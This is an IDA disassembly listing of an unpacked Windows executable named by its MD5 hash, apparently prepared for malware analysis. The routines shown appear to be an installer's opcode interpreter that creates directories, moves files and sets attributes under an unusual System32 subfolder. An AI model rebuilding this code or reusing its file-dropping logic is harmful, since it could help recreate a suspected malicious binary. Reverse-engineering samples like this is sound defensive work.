;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	265C4BA720652A88BB28E113ECD538EF

; File Name   :	u:\work\265c4ba720652a88bb28e113ecd538ef_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005BFE (  23550.)
; Section size in file		: 00005BFE (  23550.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_403542+17Ao

var_5C		= byte ptr -5Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		cmp	[ebp+arg_4], 0Fh ; DATA	XREF: .data:0040FDFEr
					; .data:004101FDr ...
		jz	short loc_401037

loc_40100C:				; DATA XREF: .data:0040FE04r
					; .data:0041088Dr ...
		cmp	[ebp+arg_4], 46h

loc_401010:				; DATA XREF: .data:00410AA0r
					; .data:0041CAF8r
		mov	eax, [ebp+arg_C]
		jnz	short loc_401022 ; DATA	XREF: .data:0040FD78r
					; .data:00410D20r ...
		or	dword ptr [eax+18h], 10h ; DATA	XREF: .data:00411221r
					; .data:0041D279r
		mov	ecx, dword_42F424 ; DATA XREF: .data:0040FDAAr
					; .data:00410218r ...
		mov	[eax+4], ecx

loc_401022:				; CODE XREF: sub_401000+13j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]	; DATA XREF: .data:0040FBE8r
					; .data:0041096Dr ...
		push	[ebp+arg_0]

loc_40102C:				; DATA XREF: .data:0040FC6Dr
					; .data:0040FCF0r ...
		call	ds:dword_407240	; DefWindowProcA
		jmp	locret_401179	; DATA XREF: .data:00410B9Cr
					; .data:0041CBF4r
; ---------------------------------------------------------------------------

loc_401037:				; CODE XREF: sub_401000+Aj
		push	ebx

loc_401038:				; DATA XREF: .data:0040FD60r
					; .data:00410A79r ...
		push	esi
		mov	esi, dword_42F428 ; DATA XREF: .data:00410EEFr
					; .data:0041CF47r
		lea	eax, [ebp+var_5C]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_407244	; DATA XREF: .data:0040FE65r
					; .data:0040FF0Br ...
		and	[ebp+var_C], 0	; DATA XREF: .data:00411271r
					; .data:004112E6r ...
		mov	[ebp+arg_4], eax

loc_401054:				; DATA XREF: sub_40DDF0r sub_419E48r
		lea	eax, [ebp+var_1C]
		push	eax

loc_401058:				; DATA XREF: .data:00410B34r
					; .data:0041101Br ...
		push	[ebp+arg_0]
		call	ds:dword_407248	; DATA XREF: .data:0041117Cr
					; .data:004112A0r ...
		mov	edi, [ebp+var_10]

loc_401064:				; DATA XREF: .data:0040FE76r
					; .data:0040FF1Cr ...
		and	[ebp+var_10], 0

loc_401068:				; DATA XREF: .data:00410B2Cr
					; .data:0041CB84r ...
		mov	ebx, ds:dword_407044
		jmp	loc_4010F3	; DATA XREF: .data:00411753r
					; .data:00411886r ...
; ---------------------------------------------------------------------------

loc_401073:				; CODE XREF: sub_401000+F6j
		movzx	eax, byte ptr [esi+52h]
		movzx	edx, byte ptr [esi+56h]	; DATA XREF: .data:0040FD6Er
					; .data:00410A84r ...
		imul	edx, [ebp+var_18]
		mov	ecx, edi	; DATA XREF: .data:004101DEr
					; .data:0041C236r
		sub	ecx, [ebp+var_18]
		imul	eax, ecx
		add	eax, edx
		mov	[ebp+arg_8], ecx

loc_40108C:				; DATA XREF: .data:0040DDF8o
					; .data:00419E50o
		cdq
		idiv	edi
		xor	edx, edx	; DATA XREF: .data:0040FDEFr
					; .data:0041BE47r
		mov	dh, al
		movzx	eax, byte ptr [esi+51h]
		imul	eax, ecx
		movzx	ecx, byte ptr [esi+55h]	; DATA XREF: .data:0041143Fr
					; .data:004115B5r ...
		imul	ecx, [ebp+var_18]
		add	eax, ecx

loc_4010A4:				; DATA XREF: .data:00410166r
					; .data:0041038Er ...
		mov	ecx, edx
		cdq
		idiv	edi		; DATA XREF: .data:004101D7r
					; .data:00410383r ...
		movzx	edx, byte ptr [esi+54h]	; DATA XREF: .data:00410F06r
					; .data:00410FDBr ...
		imul	edx, [ebp+var_18] ; DATA XREF: .data:00411162r
					; .data:0041D1BAr
		mov	cl, al
		movzx	eax, byte ptr [esi+50h]
		imul	eax, [ebp+arg_8] ; DATA	XREF: .data:loc_411367r
					; .data:loc_41D3BFr
		add	eax, edx	; DATA XREF: .data:00410B04r
					; .data:00410F11r ...
		cdq
		idiv	edi

loc_4010C0:				; DATA XREF: .data:00410A92r
					; .data:0041CAEAr
		shl	ecx, 8
		movzx	eax, al		; DATA XREF: .data:00410EBAr
					; .data:0041CF12r
		or	ecx, eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_8], ecx
		call	ds:dword_407048	; DATA XREF: .data:0040FB43r
					; .data:0040FC0Br ...
		add	[ebp+var_10], 4	; DATA XREF: .data:00410338r
					; .data:004103BCr ...
		mov	[ebp+arg_C], eax
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_4]

loc_4010E4:				; DATA XREF: .data:00410F1Er
					; .data:00411028r ...
		call	ds:dword_40724C	; FillRect
		push	[ebp+arg_C]	; DATA XREF: .data:0041144Dr
					; .data:004115C3r ...
		call	ebx	; DeleteObject
		add	[ebp+var_18], 4	; DATA XREF: .data:0041175Ar
					; .data:0041188Dr ...

loc_4010F3:				; CODE XREF: sub_401000+6Ej
					; DATA XREF: .data:0040FDD3r ...
		cmp	[ebp+var_18], edi
		jl	loc_401073	; DATA XREF: .data:0040FEB2r
					; .data:0040FF58r ...

loc_4010FC:				; DATA XREF: .data:0041148Ar
					; .data:004114D8r ...
		cmp	dword ptr [esi+58h], 0FFFFFFFFh

loc_401100:				; DATA XREF: .data:00411768r
					; .data:0041D7C0r
		jz	short loc_401167
		push	dword ptr [esi+34h]
		call	ds:dword_40704C	; DATA XREF: .data:0040FBF6r
					; .data:004101A5r ...
		test	eax, eax
		mov	[ebp+arg_C], eax
		jz	short loc_401167
		mov	edi, [ebp+arg_4]
		push	1
		push	edi

loc_401118:				; DATA XREF: .data:0040FC8Br
					; .data:0040FD88r ...
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_18], 8
		call	ds:dword_407050	; SetBkMode
		push	dword ptr [esi+58h]
		push	edi
		call	ds:dword_407054	; SetTextColor
		push	[ebp+arg_C]
		mov	esi, ds:dword_407058
		push	edi
		call	esi	; SelectObject
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+var_1C]
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401148	proc near		; DATA XREF: .data:00410BF5o
					; .data:0041CC4Do
		push	820h
		push	eax
		push	0FFFFFFFFh
		push	offset aNameSetup ; "Name Setup"
		push	edi
		call	ds:dword_407250	; DrawTextA
		push	dword ptr [ebp+0Ch]
		push	edi
		call	esi	; SelectObject
		push	dword ptr [ebp+14h]
		call	ebx	; DeleteObject

loc_401167:				; CODE XREF: sub_401000:loc_401100j
					; sub_401000+110j
		lea	eax, [ebp-5Ch]
		push	eax
		push	dword ptr [ebp+8]

loc_40116E:				; DATA XREF: .data:0040DD6Co
					; .data:00419DC4o
		call	ds:dword_407254	; EndPaint
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx

locret_401179:				; CODE XREF: sub_401000+32j
		leave
		retn	10h
sub_401148	endp


; =============== S U B	R O U T	I N E =======================================



sub_40117D	proc near		; CODE XREF: sub_402888+15p
					; sub_404740+297p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, dword_42F448
		mov	edx, ecx
		push	ebx
		imul	edx, 418h
		push	esi
		push	edi
		mov	edx, [edx+eax+8]
		test	dl, 2
sub_40117D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401198	proc near		; DATA XREF: .data:00411122o
					; .data:0041D17Ao
		jz	short loc_4011E9
		lea	esi, [ecx+1]
		xor	edi, edi
		cmp	esi, dword_42F44C
		jnb	short loc_4011E9
		mov	ecx, esi
		imul	ecx, 418h
		lea	eax, [ecx+eax+8]

loc_4011B3:				; CODE XREF: sub_4011D0+17j
		mov	ecx, [eax]
		test	cl, 2
sub_401198	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011B8	proc near		; DATA XREF: .data:00411392o
					; .data:0041D3EAo
		jz	short loc_4011BD
		inc	edi
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------

loc_4011BD:				; CODE XREF: sub_4011B8j
		test	cl, 4
sub_4011B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011C0	proc near		; DATA XREF: .data:00411402o
					; .data:0041D45Ao
		jz	short loc_4011CB
		mov	ecx, edi
		dec	edi
		test	ecx, ecx
		jz	short loc_4011E9
		jmp	short loc_4011DB
; ---------------------------------------------------------------------------

loc_4011CB:				; CODE XREF: sub_4011C0j
		test	cl, 10h
		jnz	short loc_4011DB
sub_4011C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4011D0	proc near		; DATA XREF: .data:00411565o
					; .data:0041D5BDo
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, 1
		xor	ebx, ecx
		mov	[eax], ebx

loc_4011DB:				; CODE XREF: sub_4011B8+3j
					; sub_4011C0+9j ...
		inc	esi
		add	eax, 418h
		cmp	esi, dword_42F44C
		jb	short loc_4011B3

loc_4011E9:				; CODE XREF: sub_401198j sub_401198+Dj ...
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_4011D0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4011EF	proc near		; CODE XREF: sub_4011EF+56p
					; sub_4028A7+21p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, edx
		imul	esi, 418h
		mov	ebx, dword_42F448
		xor	ecx, ecx
		add	esi, ebx
		push	edi
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], ecx
		mov	eax, [esi+8]
		test	al, 2
		jz	short loc_401224
		cmp	[ebp+arg_4], ecx
		jz	short loc_401224
		and	al, 0BEh
		inc	edx
		mov	[esi+8], eax

loc_401224:				; CODE XREF: sub_4011EF+28j
					; sub_4011EF+2Dj
		cmp	edx, dword_42F44C
		jnb	short loc_401270

loc_40122C:				; CODE XREF: sub_4011EF+7Fj
		mov	eax, edx
		imul	eax, 418h
		lea	edi, [eax+ebx+8]
		lea	eax, [edx+1]
		mov	ecx, [edi]
		test	cl, 2
		jz	short loc_40124C
		push	1
		push	edx
		call	sub_4011EF
		mov	ecx, [edi]

loc_40124C:				; CODE XREF: sub_4011EF+51j
		test	cl, 4
		jnz	short loc_401279
		test	cl, 40h
		jz	short loc_401259
		inc	[ebp+var_4]

loc_401259:				; CODE XREF: sub_4011EF+65j
		test	cl, 1
		jz	short loc_401263
		inc	[ebp+var_4]
		jmp	short loc_401266
; ---------------------------------------------------------------------------

loc_401263:				; CODE XREF: sub_4011EF+6Dj
		inc	[ebp+var_8]

loc_401266:				; CODE XREF: sub_4011EF+72j
		cmp	eax, dword_42F44C
		mov	edx, eax
		jb	short loc_40122C

loc_401270:				; CODE XREF: sub_4011EF+3Bj
		xor	eax, eax

loc_401272:				; CODE XREF: sub_4011EF+8Ej
					; sub_4011EF+9Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_401279:				; CODE XREF: sub_4011EF+60j
		cmp	[ebp+var_4], 0
		jz	short loc_401272
		cmp	[ebp+var_8], 0
		jz	short loc_40128B
		or	dword ptr [esi+8], 40h
		jmp	short loc_401272
; ---------------------------------------------------------------------------

loc_40128B:				; CODE XREF: sub_4011EF+94j
		mov	ecx, [esi+8]
		and	cl, 7Fh
		or	ecx, 1
		mov	[esi+8], ecx
		jmp	short loc_401272
sub_4011EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_401299	proc near		; CODE XREF: sub_4028A7+1Ap
					; sub_404740+364p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	eax, dword_42F448
		push	esi
		xor	esi, esi
		cmp	ecx, 20h
		jnb	short loc_4012DE
		cmp	dword_42F44C, esi
		jbe	short loc_4012DE
		lea	edx, [eax+8]
		push	edi

loc_4012B6:				; CODE XREF: sub_401299+42j
		mov	eax, [edx]
		test	al, 6
		jnz	short loc_4012CE
		xor	edi, edi
		inc	edi
		shl	edi, cl
		test	[edx-4], edi
		jz	short loc_4012CA
		or	al, 1
		jmp	short loc_4012CC
; ---------------------------------------------------------------------------

loc_4012CA:				; CODE XREF: sub_401299+2Bj
		and	al, 0FEh

loc_4012CC:				; CODE XREF: sub_401299+2Fj
		mov	[edx], eax

loc_4012CE:				; CODE XREF: sub_401299+21j
		inc	esi
		add	edx, 418h
		cmp	esi, dword_42F44C
		jb	short loc_4012B6
		pop	edi

loc_4012DE:				; CODE XREF: sub_401299+Fj
					; sub_401299+17j
		pop	esi
		retn	4
sub_401299	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4012E2	proc near		; CODE XREF: sub_4028A7+29p
					; sub_404740+401p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42F428
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		add	eax, 94h
		push	edi
		mov	edi, dword_42F44C
		mov	[ebp+var_8], eax

loc_401302:				; CODE XREF: sub_4012E2+7Fj
		mov	eax, [ebp+var_8]
		xor	ebx, ebx
		cmp	[eax], ebx
		jz	short loc_401356
		cmp	ebx, edi
		jnb	short loc_401354
		mov	esi, dword_42F448
		add	esi, 8

loc_401318:				; CODE XREF: sub_4012E2+6Ej
		mov	edx, [esi]
		test	dl, 6
		jnz	short loc_401347
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_40132C
		cmp	dword ptr [eax+ebx*4], 0
		jz	short loc_401347

loc_40132C:				; CODE XREF: sub_4012E2+42j
		mov	ecx, [ebp+var_4]
		xor	eax, eax
		inc	eax
		and	edx, 1
		shl	eax, cl
		mov	ecx, [esi-4]
		and	ecx, eax
		mov	eax, ecx
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		cmp	eax, edx
		jnz	short loc_401352

loc_401347:				; CODE XREF: sub_4012E2+3Bj
					; sub_4012E2+48j
		inc	ebx
		add	esi, 418h
		cmp	ebx, edi
		jb	short loc_401318

loc_401352:				; CODE XREF: sub_4012E2+63j
		cmp	ebx, edi

loc_401354:				; CODE XREF: sub_4012E2+2Bj
		jz	short loc_401363

loc_401356:				; CODE XREF: sub_4012E2+27j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 20h
		jb	short loc_401302

loc_401363:				; CODE XREF: sub_4012E2:loc_401354j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4012E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40136D	proc near		; CODE XREF: sub_401410+10p
					; sub_401439+99p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	loc_4013FB
; ---------------------------------------------------------------------------

loc_401377:				; CODE XREF: sub_40136D+90j
		mov	eax, esi
		mov	ecx, dword_42F450
		imul	eax, 1Ch
		add	eax, ecx
		cmp	dword ptr [eax], 1

loc_401387:				; DATA XREF: .data:0040E680o
					; .data:0040E6C0o ...
		jz	short loc_401403
		push	eax

loc_40138A:				; DATA XREF: .data:0040E684o
					; .data:0040E6C4o ...
		call	sub_401439
		cmp	eax, 7FFFFFFFh

loc_401394:				; DATA XREF: .data:0040E688o
					; .data:0040E6C8o ...
		jz	short loc_401409
		test	eax, eax
		jge	short loc_4013AD
		inc	eax
		mov	ecx, offset dword_430000
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_405952
		test	eax, eax

loc_4013AD:				; CODE XREF: sub_40136D+2Bj
		jnz	short loc_4013B5
		xor	eax, eax
		inc	eax
		inc	esi
		jmp	short loc_4013BC
; ---------------------------------------------------------------------------

loc_4013B5:				; CODE XREF: sub_40136D:loc_4013ADj
		dec	eax
		mov	ecx, esi
		mov	esi, eax
		sub	eax, ecx

loc_4013BC:				; CODE XREF: sub_40136D+46j
		cmp	[esp+4+arg_4], 0
		jz	short loc_4013FB
		add	dword_42EC0C, eax
		mov	eax, dword_42EBF4
		xor	ecx, ecx
		push	0
		test	eax, eax
		setz	cl
		add	ecx, eax
		push	ecx
		push	7530h
		push	dword_42EC0C
		call	ds:dword_40712C	; MulDiv
		push	eax

loc_4013EC:				; DATA XREF: .data:0040E14Co
					; .data:0041A1A4o
		push	402h
		push	[esp+0Ch+arg_8]
		call	ds:dword_40723C	; SendMessageA

loc_4013FB:				; CODE XREF: sub_40136D+5j
					; sub_40136D+54j
		test	esi, esi
		jge	loc_401377

loc_401403:				; CODE XREF: sub_40136D:loc_401387j
		xor	eax, eax

loc_401405:				; CODE XREF: sub_40136D+A1j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------

loc_401409:				; CODE XREF: sub_40136D:loc_401394j
		mov	eax, 7FFFFFFFh
		jmp	short loc_401405
sub_40136D	endp


; =============== S U B	R O U T	I N E =======================================



sub_401410	proc near		; CODE XREF: start+39Ap
					; sub_403542+1ECp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, dword_42F428
		push	0
		push	dword ptr [ecx+eax*4+6Ch]
		call	sub_40136D
		retn	4
sub_401410	endp


; =============== S U B	R O U T	I N E =======================================



sub_401428	proc near		; CODE XREF: sub_401439+1FEp
					; sub_401439+A2Cp ...

arg_0		= dword	ptr  4

		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		push	[esp+4+arg_0]
		call	sub_404D7E
		retn	4
sub_401428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401439	proc near		; CODE XREF: sub_40136D:loc_40138Ap

var_58		= byte ptr -58h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00401F1B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00401F42 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00401F4B SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00401FDC SIZE 00000048 BYTES
; FUNCTION CHUNK AT 004020A6 SIZE 00000002 BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	eax, dword_42F424
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	7
		pop	ecx
		lea	edi, [ebp+var_28]
		mov	[ebp+var_8], eax
		xor	ebx, ebx
		rep movsd
		mov	eax, [ebp+var_24]
		mov	edi, [ebp+var_20]
		mov	esi, eax
		mov	ecx, offset dword_430000
		shl	esi, 0Ah
		shl	edi, 0Ah
		add	esi, ecx
		add	edi, ecx
		lea	ecx, [ebp+var_24]
		mov	[ebp+var_4], ebx
		mov	dword_40943C, ecx
		mov	ecx, [ebp+var_28]
		add	ecx, 0FFFFFFFEh	; switch 66 cases
		cmp	ecx, 41h
		ja	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	ds:off_402941[ecx*4] ; switch jump

loc_401493:				; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 3
		push	eax

loc_401495:				; CODE XREF: sub_401439+471j
		call	sub_404D7E
		jmp	loc_402293
; ---------------------------------------------------------------------------

loc_40149F:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		inc	dword_42EBEC	; jumptable 0040148C case 4
		cmp	[ebp+var_8], ebx
		jz	loc_402293
		push	ebx
		call	ds:dword_4071EC	; PostQuitMessage
		jmp	loc_402293
; ---------------------------------------------------------------------------

loc_4014BA:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		cmp	eax, ebx	; jumptable 0040148C case 5
		jge	short loc_4014CF
		inc	eax
		mov	ecx, offset dword_430000
		shl	eax, 0Ah
		sub	ecx, eax
		push	ecx
		call	sub_405952

loc_4014CF:				; CODE XREF: sub_401439+83j
		dec	eax
		push	ebx
		push	eax
		call	sub_40136D
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_4014DC:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, [ebp+var_20] ; jumptable 0040148C case 6
		cmp	ecx, ebx
		jz	short loc_40150C
		test	cl, 8
		jz	short loc_4014F7
		mov	eax, dword_40900C
		mov	dword_4092A0, eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4014F7:				; CODE XREF: sub_401439+ADj
		mov	eax, dword_4092A0
		mov	dword_4092A0, ecx

loc_401502:				; DATA XREF: .data:0040E574o
					; .data:0041A5CCo
		mov	dword_40900C, eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_40150C:				; CODE XREF: sub_401439+A8j
		push	ebx
		push	eax
		call	sub_404D7E
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401518:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 7
		call	sub_402A7D
		cmp	eax, 1
		jg	short loc_401526
		xor	eax, eax
		inc	eax

loc_401526:				; CODE XREF: sub_401439+E8j
		push	eax
		call	ds:dword_407090	; Sleep
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401532:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	[ebp+var_8]	; jumptable 0040148C case 8
		call	ds:dword_4071F0	; SetForegroundWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401540:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	1		; jumptable 0040148C case 13
		call	sub_402A7D
		mov	ecx, [ebp+var_24]
		mov	dword_42F4A0[ecx*4], eax
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401556:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_1C] ; jumptable 0040148C case 14
		lea	esi, ds:42F4A0h[eax*4]
		xor	eax, eax
		mov	ecx, [esi]
		cmp	ecx, ebx
		setz	al
		and	ecx, [ebp+var_18]
		mov	eax, [ebp+eax*4+var_24]
		mov	[esi], ecx
		jmp	loc_40293A	; jumptable 0040148C case 2
; ---------------------------------------------------------------------------

loc_401577:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	eax, [ebp+var_20] ; jumptable 0040148C case 15
		push	dword_42F4A0[eax*4]

loc_401581:				; CODE XREF: sub_401439+712j
					; sub_401439:loc_401CD6j ...
		push	esi
		jmp	loc_4028D7
; ---------------------------------------------------------------------------

loc_401587:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		mov	ecx, dword_42EBF0 ; jumptable 0040148C case 9
		mov	esi, ds:dword_407258
		cmp	ecx, ebx
		jz	short loc_4015A0
		push	[ebp+var_20]
		push	ecx
		call	esi	; ShowWindow
		mov	eax, [ebp+var_24]

loc_4015A0:				; CODE XREF: sub_401439+15Cj
		mov	ecx, dword_42EC04
		cmp	ecx, ebx
		jz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		push	eax
		push	ecx
		call	esi	; ShowWindow
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_4015B7:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 10
		call	sub_402A9A
		push	[ebp+var_20]
		push	eax
		call	ds:dword_40708C	; SetFileAttributesA

loc_4015C8:				; CODE XREF: sub_401439+35Fj
					; sub_4021F6+EFj ...
		test	eax, eax

loc_4015CA:				; CODE XREF: sub_401439+484j
					; sub_4021F6+44Ej
		jnz	loc_40292F	; default
					; jumptable 0040148C cases 65,66
		jmp	loc_4026DA
; ---------------------------------------------------------------------------

loc_4015D5:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFF0h	; jumptable 0040148C case 11
		call	sub_402A9A
		mov	edi, eax
		push	edi
		call	sub_40557B
		cmp	[edi], bl
		mov	esi, eax
		jz	short loc_401630
		cmp	esi, ebx
		jz	short loc_401630

loc_4015EE:				; CODE XREF: sub_401439+1F5j
		push	5Ch
		push	esi
		call	sub_405513
		mov	esi, eax
		push	ebx
		push	edi
		mov	al, [esi]
		mov	[esi], bl
		mov	byte ptr [ebp+arg_0+3],	al
		call	ds:dword_407088	; CreateDirectoryA
		test	eax, eax
		jnz	short loc_401626
		call	ds:dword_407084	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_401623
		push	edi
		call	ds:dword_407080	; GetFileAttributesA
		test	al, 10h
		jnz	short loc_401626

loc_401623:				; CODE XREF: sub_401439+1DDj
		inc	[ebp+var_4]

loc_401626:				; CODE XREF: sub_401439+1D0j
					; sub_401439+1E8j
		mov	al, byte ptr [ebp+arg_0+3]
		mov	[esi], al
		inc	esi
		cmp	al, bl
		jnz	short loc_4015EE

loc_401630:				; CODE XREF: sub_401439+1AFj
					; sub_401439+1B3j
		cmp	[ebp+var_20], ebx
		jz	short loc_401653
		push	0FFFFFFE6h
		call	sub_401428
		push	edi
		push	offset aCWindowsSyst_0 ; "C:\\WINDOWS\\System32\\b06FdUe"
		call	sub_4059DB
		push	edi
		call	ds:dword_40707C	; SetCurrentDirectoryA
		jmp	loc_40292F	; default
					; jumptable 0040148C cases 65,66
; ---------------------------------------------------------------------------

loc_401653:				; CODE XREF: sub_401439+1FAj
		push	0FFFFFFF5h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------

loc_40165A:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 12
		call	sub_402A9A
		push	eax
		call	sub_405CB0
		jmp	loc_401CE8
; ---------------------------------------------------------------------------

loc_40166B:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	0FFFFFFD0h	; jumptable 0040148C case 16
		call	sub_402A9A
		push	0FFFFFFDFh
		mov	[ebp+arg_0], eax
		call	sub_402A9A
		push	[ebp+arg_0]
		mov	esi, offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\b06FdUe"
		mov	[ebp+var_8], eax
		push	esi
		call	sub_4059DB
		push	[ebp+var_8]
		call	sub_4059F1	; lstrlen
		push	[ebp+arg_0]
		mov	edi, eax
		call	sub_4059F1	; lstrlen
		add	edi, eax
		cmp	edi, 3FDh
		jge	short loc_4016BD
		push	offset asc_40901C ; "->"
		push	esi
		call	sub_4059F7	; lstrcat
		push	[ebp+var_8]
		push	esi
		call	sub_4059F7	; lstrcat

loc_4016BD:				; CODE XREF: sub_401439+26Ej
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	ds:dword_407078	; MoveFileA
		test	eax, eax
		jz	short loc_4016D4
		push	0FFFFFFE3h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------

loc_4016D4:				; CODE XREF: sub_401439+292j
		cmp	[ebp+var_1C], ebx
		jz	loc_4026DA
		push	[ebp+arg_0]
		call	sub_405CB0
		test	eax, eax
		jz	loc_4026DA
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_405723
		push	0FFFFFFE4h
		jmp	loc_4021E8
; ---------------------------------------------------------------------------

loc_4016FF:				; CODE XREF: sub_401439+53j
					; DATA XREF: .text:off_402941o
		push	ebx		; jumptable 0040148C case 17
		call	sub_402A9A
		mov	esi, eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	400h
